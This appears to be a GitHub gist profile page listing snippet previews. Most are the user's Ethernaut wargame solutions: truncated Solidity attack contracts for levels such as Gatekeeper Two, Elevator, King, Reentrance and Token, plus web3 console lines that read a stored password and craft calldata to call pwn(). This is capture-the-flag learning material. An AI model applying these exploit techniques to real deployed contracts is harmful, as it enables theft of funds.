Skip to content

Instantly share code, notes, and snippets.

View tennisonchan's full-sized avatar

Tennison Chan tennisonchan

  • Truewind
  • San Francisco
View GitHub Profile
{
"QueryResponse": {
"Account": [
{
"Name": "6981 Allocation - CI Allocation to COGS",
"SubAccount": false,
"FullyQualifiedName": "6981 Allocation - CI Allocation to COGS",
"Active": true,
"Classification": "Expense",
"AccountType": "Expense",
@tennisonchan
tennisonchan / contracts...GatekeeperTwoAttack.sol
Last active January 19, 2022 06:44
Ethernaut - Level 14 - Gatekeeper Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface GatekeeperTwoInterface {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperTwoAttack {
GatekeeperTwo public target;
address public targetAddress = 0x83eEe41AB63d62973bA8E3D3467DDb37bE58F22b;
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Privacy.sol";
contract Controll {
Privacy public target;
constructor(address targetAddress) public {
// 0x3C3231f89DeC634f028e25d899e307e185E2c4c7
@tennisonchan
tennisonchan / contracts...Controll.sol
Created January 17, 2022 19:18
Ethernaut - Level 11 - Elevator
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Elevator.sol";
contract Controll {
Elevator public target;
uint public count;
constructor(address targetAddress) public {
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./King.sol";
contract Controller {
King public target;
constructor(address payable targetAddress) public payable {
// 0x53AE1A698211016e92ece4102217DBdBDC325022
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Reentrance.sol";
contract Controller {
Reentrance public target;
constructor(address payable targetAddress) public payable {
// 0xD72957ffc647afEd747d0aDF9bA2E7674c3574EF
await contract.locked(); // true
const pwdInHex = await web3.eth.getStorageAt(contract.address, 1) // '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
const pwd = web3.utils.hexToAscii(pwdInHex); // 'A very strong secret password :)'
await contract.unlock(web3.utils.asciiToHex(pwd), {from: player})
await contract.locked(); // false
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Force.sol";
contract Controller {
Force target;
constructor(address targetAddress) public {
target = Force(targetAddress);
const signature = web3.utils.sha3('pwn()').slice(0,10);
const valueToUpdate = 1234;
const msgData = signature + web3.utils.toHex(valueToUpdate).slice(2).padStart(64, '0');
await web3.eth.sendTransaction({
from: player,
to: contract.address,
gas: 2999992,
data: msgData},
);
@tennisonchan
tennisonchan / contracts...Controller.sol
Last active January 15, 2022 07:33
Ethernaut-6-Token-0x63bE8347A617476CA461649897238A31835a32CE
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Token.sol";
contract Controller {
uint256 public balance;
event CalledBy(address callee, uint balance);
event debugging(uint num);
Token originalContract = Token(0x326f3D87E1d2f977dC86024Fc2d4A2AA50A72707);